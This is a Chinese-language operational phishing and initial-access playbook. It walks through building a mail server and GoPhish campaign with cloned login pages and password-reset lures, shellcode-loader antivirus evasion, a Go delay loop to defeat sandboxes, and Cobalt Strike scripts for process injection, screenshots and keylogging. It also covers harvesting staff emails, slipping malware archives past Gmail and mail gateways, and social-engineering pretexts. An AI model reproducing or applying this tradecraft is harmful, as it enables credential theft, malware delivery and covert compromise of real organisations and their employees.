钓fish
环境相关
这里我准备了两台vps(其中一台为centos8装邮服,这里需注意vps供应商是否支持邮服端口),一个域名
ewomail安装
关闭selinux
vi /etc/sysconfig/selinux
SELINUX=enforcing 改为 SELINUX=disabled安装(国外服务器,国内去掉en即可)
yum -y install git
cd /root
git clone https://github.com/gyxuehu/EwoMail.git
cd /root/EwoMail/install
#需要输入一个邮箱域名,不需要前缀,列如下面的ewomail.cn,域名后面要加空格加en。ewomail.cn替换为我们注册的邮件域名
以上安装下来有以下奇奇怪怪的问题,折腾了一下午还是解决了,提前安装以下依赖并修改下载地址(下面有说)再安装
dnf --enablerepo=powertools install oniguruma-devel
dnf --enablerepo=powertools install perl-IO-stringy
dnf install mariadb-connector-c
sh ./start.sh ewomail.cn en
centos8碰到了包的问题,执行以下命令再进行安装(参考https://pkgs.org/,https://blog.csdn.net/m0_37886429/article/details/129079609)
dnf --enablerepo=powertools install oniguruma-devel
dnf --enablerepo=powertools install perl-IO-stringy
dnf install dovecot
这直接文件没了,找了半天地址(因为命令加了en,下载地址为国外的,这个国外的已经无了),把这个地址改成
http://npm.ewomail.com/ewomail-npm-1.15.1-el8.tar.gz
访问http://IP:8010即可访问到邮箱后台,web邮件系统为http://IP:8000(默认口令admin,ewomail123)
cat /ewomail/config.ini #查看数据库密码
配置邮箱,在域名供应商处进行配置,配置dkim值(DKIM是电子邮件验证标准,域名密钥识别邮件标准,主要是用来防止被判定为垃圾邮件),需要到服务器先使用命令查看,然后配置一条dkim._domainkey的txt记录
amavisd -c /etc/amavisd/amavisd.conf showkeys
到http://www.ewomail.com/list-20.html DKIM整理网站格式化一下,放到txt记录中
解析好相关域名
接着在邮箱系统如下位置配置自己的域名(默认安装的时候自动填上去了)
修改邮服上/etc/hostname文件,将主机修改为
mail.xxx
再到/etc/hosts里配置如下信息
127.0.0.1 mail.xxx smtp.xxx imap.xxx
这里的xxx为你的域名,设置完后重启生效。
添加一个邮箱用户
进入web邮箱系统http://IP:8000
gophish安装
使用docker进行快捷安装
docker pull gophish/gophish
docker run -it -d --rm --name gophish -p 3332:3333 -p 8003:80 -p 8004:8080 gophish/gophish
docker logs gophish #查看安装日志中的登录密码
登录后依次配置gophish的各个模块
设置Sending Profile
from:填写你刚才ewomail添加的邮箱账号,host:填写你注册域名:25,username:也是填写ewomail添加的邮箱账号,密码;填写添加邮箱账号是设置的密码,保存即可。
下面进行钓鱼测试
测试
设置Landing Pages用于钓鱼的页面
使用save page将钓鱼页面复制下来,这里以下面这个为例
配置Email Templates
可以到https://www.liveagent.com/templates/password-reset/网站里找个模板
配置用户和组(要发送的人)
配置Campaigns模块,发送钓鱼邮件即可
社交账号
免杀马
刚开始推荐学习shellcode loader中的一些编写思路ShellcodeLoader 基本加载器思路为shellcode申请内存(可读可写) -> 载入内存 -> 执行内存
- 申请内存:VirtualAlloc
- 载入内存:memcpy
- 执行内存:CreateThread WaitForSingleObject 针对这三个过程可以使用不同的函数来达到规避杀软的效果,例如申请内存还可以用GlobalAlloc、CoTaskMemAlloc函数,执行内存可以用回调函数EnumFontsW、EnumUILanguages、EnumFontFamiliesA。
平时钓鱼的马子经常要改图标加签名之类的,推荐如下项目,在原项目360QVM_bypass的基础上,增加了签名功能。360QVM_bypass-public
bypass沙箱
为了延长马子存活时间,基本的沙箱对抗少不了,投递的木马大概率都得过一遍沙箱,以微步沙箱为例,最简单的循环打印。使用sleep函数延迟执行容易被hook,修改为0,可以编写循环打印来延迟程序时间,来绕过沙箱检测,因为沙箱运行程序是有时间限制的。
//循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测
func add() {
start := time.Now() //获取当前时间
//1000000 1m2.793228s
sum, i := 0, 1
for i < 1000000 {
fmt.Println(i)
sum += i
i++
}
elapsed := time.Since(start)
fmt.Println("该函数执行完成耗时:", elapsed)
}
将如上代码放在shellcode执行前就行。
人员信息收集
- 企查查、小蓝本、fofa、小程序、APP、抖音、牛客网
- 零零信安直接搜索公司名称,得到一些邮箱地址 https://0.zone
- 拿邮箱后缀+关键字去微信搜一搜,Google、百度等搜索引擎也可以搜,可以获取业务招聘相关邮箱信息、手机号等。如下组合:
@xxx.com 招聘 @xxx.com 校招 @xxx.com 投标 @xxx.com 联系方式
C2搭建准备
cs基本隐藏:套层CDN然后c2上线端口反代下。推荐cs插件脚本: PushPlus2(常用上线提醒、自动迁移进程)
#自动迁移进程
sub callback{
$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
# 要迁移的进程
$listener = "ecloud";
# 监听器名字,此处为ecloud,记得修改为自己的
if ($2 ismatch $regex){
$pid = matched()[1];
$inject_pid = $pid;
if (-is64 $1){
$arch = "x64";
}
else{
$arch = "x86";
}
binject($1, $pid, $listener, $arch);
}
}
if($inject_pid != beacon_info($1,"pid")){
bps($1, &callback);
}
还有上线自动截图功能,就算目标掉了起码还有张图证明上线过
#只截一张图
#binput($1, "screenshot");
#bscreenshot($1);
#连续截图
binput($1, "screenwatch");
bscreenwatch($1);
其他的上线自动执行shell命令、键盘记录看自己需求吧
#执行自定义cmd命令
bshell($1, "ipconfig /all");
#键盘记录
bkeylogger($1);
还有其他需求可以去翻翻文档Aggressor Script
邮件网关/沙箱
默认对面有邮件网关/沙箱设备,针对邮件正文和附件要有一定处理或者技巧。
- 针对正文 不带知名公司名称如脉脉、BOSS直聘不然容易被当成广告邮件,不把附件解密密码放在正文,容易被沙箱识别密码分析附件。
- 针对附件 文件名加密,解压密码写在附件名上。
Gmail邮箱
实战中,在给Gmail邮箱发送马儿附件的时候,发现Gmail做的限制挺严格。无论何种格式/扩展名的压缩包,在检查压缩包内文件内容与扩展名两项上,至少要允许Gmail检查其中一项,两项皆不允许Gmail检查时,Gmail直接禁止压缩包作为附件。Gmail一般情况下只检查压缩包内第一层的扩展名,并不检查第二层的扩展名,但压缩包内第一层的扩展名是zip时,Gmail会检查第二层的扩展名。
因此,我们需要进行各种组合,生成Gmail放行的邮件。
后面使用该方案成功发送马儿:先tar再带密码生成zip
参考文章:http://www.hackdig.com/05/hack-668819.htm
开钓
通过之前的准备,我们已经有了一些可供尝试的信息,此时需要构建话术剧本然后去钓鱼。
- 伪装求职:准备简历话术
- 伪装HR:准备招聘资料话术
- 伪装客户:需求文档话术